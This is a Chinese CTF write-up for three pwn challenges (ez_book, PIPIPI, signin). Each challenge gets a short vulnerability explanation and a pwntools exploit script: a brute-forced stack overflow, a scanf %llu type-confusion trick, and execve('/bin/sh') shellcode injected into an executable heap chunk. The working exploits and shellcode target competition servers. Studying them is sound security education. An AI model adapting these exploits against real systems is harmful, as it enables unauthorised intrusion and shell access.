ez_book
没有禁用 stderr ,会申请一个缓存堆块堆块,里面记录有全部的输入输出的信息,也就包含随机数。利用栈溢出,从 book name 那低地址覆盖 random num 地址爆破
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import *
def res(name,pwd): p.sendlineafter(">\n",str(2)) p.sendlineafter(":",pwd) p.sendlineafter(":",name)
def exp(): res("admin".ljust(0x10,'\x00')+'\x90\x74',"b") p.sendlineafter(">\n",str(1)) p.sendlineafter(":","flag")
print p.recvuntil('}',timeout=1)
p.interactive()
i=0 while i<2560: try: p = remote("113.201.14.253",38002) exp() break except: p.close() i+=1
|
PIPIPI
2020 年 DASCTF 12月赛原题 PI 基础上改过来的
自己的 WP 忘记丢哪里了,贴一下其他师傅的:https://www.cnblogs.com/b1ank/p/14193977.html
这里有个整数溢出,是 %llu 和 unsigned int v1,float v2 构成的漏洞。
首先在 gcc 中,unsigned int 和 float 都占四字节,而 %llu 接受八个字节的输入。
而 scanf 函数中的 &v1 只是用来提供首地址,写入多少数据,只受格式 “%llu” 影响,所以我们可以尝试构造八个字节使 v1 为 0 , v2 为 3.141592 。
写个程序可知 3.141592 在程序中是以 40490FDA 储存的。即构造 40 49 0F DA 00 00 00 00 使在输入完 v1 后可以同时使 v1 为 0 , v2 为 40490FDA ,输入 40490FDA00000000 的十进制,即可得到 flag 。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * context.log_level = 'debug'
debug = 0 localfile = "./fun" ip = "" port = ''
if debug == 1: p = process(localfile) else: p = remote("113.201.14.253",30000)
payload = 0x80 * 'a' p.recvuntil('UserName\n') p.sendline(payload) p.recvuntil(payload) pwd = int(p.recv(10)) print "pwd:",hex(pwd) p.recvuntil('PassWord\n') p.sendline(p64(pwd))
p.sendline('1') p.sendline('4632251120704552960') p.interactive()
|
signin
和 2021 祥云杯 JigSaw’sCage 如出一辙,只是不用整形溢出将堆段加上可执行权限,这题直接给好了
需要修改 shellcode 一下,主要是 rsi 的值变成 1 ,祥云杯是 0
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import * context.log_level = 'debug' e = ELF("./main") context.binary = e p = process(['./main'])
def add(idx): p.sendlineafter('Choice : ','1') p.sendlineafter('Index? : ',str(idx))
def edit(idx,content): p.sendlineafter('Choice : ','2') p.sendlineafter('Index? : ',str(idx)) p.sendafter('iNput:', content)
def delete(idx): p.sendlineafter('Choice : ','3') p.sendlineafter('Index? : ',str(idx))
def test(idx): p.sendlineafter('Choice : ','4') p.sendlineafter('Index? : ',str(idx))
add(0) add(1) edit(1,'/bin/sh\x00') payload = asm('add dl,0x20;xor esi,esi;xchg rdi,rdx;push rsi;pop rax;mov al,59;syscall;') edit(0,payload)
gdb.attach(p,"b *$rebase(0xE9F)") raw_input()
sleep(0.2) test(0)
p.interactive()
if __name__ == '__main__': pass
|